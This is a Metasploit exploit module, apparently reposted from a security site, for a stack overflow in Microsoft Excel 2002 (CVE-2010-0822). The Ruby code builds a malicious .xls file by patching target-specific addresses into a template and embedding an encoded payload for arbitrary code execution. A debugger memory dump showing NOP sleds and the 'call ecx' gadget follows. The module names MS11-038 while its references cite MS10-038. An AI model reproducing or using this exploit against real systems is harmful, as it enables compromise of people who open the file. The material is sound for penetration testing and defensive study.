Microsoft Office Excel异常OBJ记录处理溢出漏洞

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

 

require ‘msf/core’

 

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

 

include Msf::Exploit::FILEFORMAT

 

def initialize(info={})

super(update_info(info,

‘Name’ => “MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow”,

‘Description’ => %q{

This module exploits a vulnerability found in Excel 2002 of Microsoft Office XP.

By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker

can get the control of the excution flow. This results aribrary code execution under

the context of the user.

},

‘License’ => MSF_LICENSE,

‘Author’ =>

[

‘Nicolas Joly’, # Initial discovery

‘Shahin Ramezany <shahin[at]abysssec.com>’, # MOAUB 24 exploit and binary analysis

‘juan vazquez’ # Metasploit

],

‘References’ =>

[

[‘CVE’, ‘2010-0822’],

[‘OSVDB’, ‘65236’],

[‘BID’, ‘40520’],

[‘MSB’, ‘MS10-038’],

[‘URL’, ‘http://www.exploit-db.com/moaub-24-microsoft-excel-obj-record-stack-overflow/’]

],

‘Payload’ =>

{

‘Space’ => 4000

},

‘DefaultOptions’ =>

{

‘ExitFunction’ => ‘process’,

‘DisablePayloadHandler’ => ‘true’

},

‘Platform’ => ‘win’,

‘Targets’ =>

[

[

# This is the one that can be downloaded from MSDN

‘Microsoft Office Excel 2002 10.2614.2625 Service Pack 0(Office XP) on Windows XP SP3’,

{

‘ftCmoReserved’ => 0x307d91ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data

‘CraftedPointer’ => 0x307d91a6, # Ptr to PtrToRet in the stored contents on Excel .data

‘PtrToRet’ => 0x307d908e, # Ptr to Ret – 11Ch

‘Ret’ => 0x30006113 # call ecx from Excel.exe 10.0.2614.0

}

],

[

‘Microsoft Office Excel 2002 10.6501.6626 Service Pack 3 (Office XP SP3) on Windows XP SP3’,

{

‘ftCmoReserved’ => 0x307de5ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data

‘CraftedPointer’ => 0x307de5a6, # Ptr to PtrToRet in the stored contents on Excel .data

‘PtrToRet’ => 0x307de48e, # Ptr to Ret – 11Ch

‘Ret’ => 0x300061a5 # call ecx from Excel.exe 10.0.6501.0

}

],

],

‘Privileged’ => false,

‘DisclosureDate’ => “Jun 8 2010″,

‘DefaultTarget’ => 1))

 

register_options(

[

OptString.new(‘FILENAME’, [true, ‘The filename’, ‘msf.xls’])

], self.class)

end

 

def exploit

 

path = File.join(Msf::Config.install_root, ‘data’, ‘exploits’, ‘CVE-2010-0822.xls’)

f = File.open(path, ‘rb’)

template = f.read

f.close

buf = ”

buf << template[0..35016]

buf << [target[‘ftCmoReserved’]].pack(‘V’)

buf << template[35021..36549]

buf << [target[‘PtrToRet’]].pack(‘V’)

buf << [target.ret].pack(‘V’)

buf << template[36558..36559]

buf << [target[‘CraftedPointer’]].pack(‘V’)

buf << template[36564..36609]

buf << [target[‘CraftedPointer’]].pack(‘V’) # Pass the MSO_804()

buf << template[36614..36639]

buf << payload.encoded

buf << template[40640..template.length]

file_create(buf)

 

end

 

end

 

=begin

 

Memory analysis on Office XP SP2

 

‘ftCmoReserved’ => 0x307de5ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data

——————————————————————————————

 

0:000> db 0x307de5ac

307de5ac 00 30 74 00 a6 e5 7d 30-4c 4c 00 55 6e 69 72 42 .0t…}0LL.UnirB

307de5bc 42 42 42 4c 00 48 50 44-6f 63 55 49 53 55 49 00 BBBL.HPDocUISUI.

307de5cc 54 72 75 65 00 52 65 73-6f 6c 75 74 69 6f 6e 00 True.Resolution.

307de5dc 36 30 30 64 70 69 a6 e5-7d 30 74 52 65 73 00 46 600dpi..}0tRes.F

307de5ec 61 6c 73 65 90 90 90 90-90 90 90 90 90 90 90 90 alse…………

307de5fc 90 90 90 90 41 41 41 41-41 41 41 41 41 41 41 41 ….AAAAAAAAAAAA

307de60c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

307de61c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

 

‘CraftedPointer’ => 0x307de5a6, # Ptr to PtrToRet in the stored contents on Excel .data

———————————————————————————–

 

0:000> db 0x307de5a6

307de5a6 8e e4 7d 30 a5 61 00 30-74 00 a6 e5 7d 30 4c 4c ..}0.a.0t…}0LL

307de5b6 00 55 6e 69 72 42 42 42-42 4c 00 48 50 44 6f 63 .UnirBBBBL.HPDoc

307de5c6 55 49 53 55 49 00 54 72-75 65 00 52 65 73 6f 6c UISUI.True.Resol

307de5d6 75 74 69 6f 6e 00 36 30-30 64 70 69 [[a6 e5 7d 30]]* ution.600dpi..}0

307de5e6 74 52 65 73 00 46 61 6c-73 65 90 90 90 90 90 90 tRes.False……

307de5f6 90 90 90 90 90 90 90 90-90 90 41 41 41 41 41 41 ……….AAAAAA

307de606 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

307de616 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

 

* => 0x307de5a6 + 0x3c => 0x307de5e2

 

‘PtrToRet’ => 0x307de48e, # Ptr to Ret – 11Ch

———————————————

 

307de48e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de49e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de4ae 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de4be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de4ce 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de4de 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de4ee 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de4fe 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de50e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de51e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de52e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de53e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de54e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de55e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de56e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de57e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de58e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….

307de59e eb 60 6e 00 50 72 69 6e-8e e4 7d 30 [[a5 61 00 30]]* .`n.Prin..}0.a.0

307de5ae 74 00 a6 e5 7d 30 4c 4c-00 55 6e 69 72 42 42 42 t…}0LL.UnirBBB

307de5be 42 4c 00 48 50 44 6f 63-55 49 53 55 49 00 54 72 BL.HPDocUISUI.Tr

307de5ce 75 65 00 52 65 73 6f 6c-75 74 69 6f 6e 00 36 30 ue.Resolution.60

307de5de 30 64 70 69 a6 e5 7d 30-74 52 65 73 00 46 61 6c 0dpi..}0tRes.Fal

307de5ee 73 65 90 90 90 90 90 90-90 90 90 90 90 90 90 90 se…………..

307de5fe 90 90 41 41 41 41 41 41-41 41 41 41 41 41 41 41 ..AAAAAAAAAAAAAA

307de60e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

307de61e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

307de62e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

307de63e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

307de64e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

307de65e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

307de66e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

307de67e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

 

* 0x307de48e + 0x11c => 0x307de48e

 

‘Ret’ => 0x300061a5 # call ecx from Excel.exe 10.0.6501.0

———————————————————-

 

EXCEL!Ordinal41+0x61a5:

300061a5 ffd1 call ecx

300061a7 e00b loopne EXCEL!Ordinal41+0x61b4 (300061b4)

300061a9 c1536689 rcl dword ptr [ebx+66h],89h

300061ad 46 inc esi

300061ae 2a8d8574ffff sub cl,byte ptr [ebp-8B7Bh]

300061b4 ff5068 call dword ptr [eax+68h]

300061b7 1200 adc al,byte ptr [eax]

300061b9 0400 add al,0

 

=end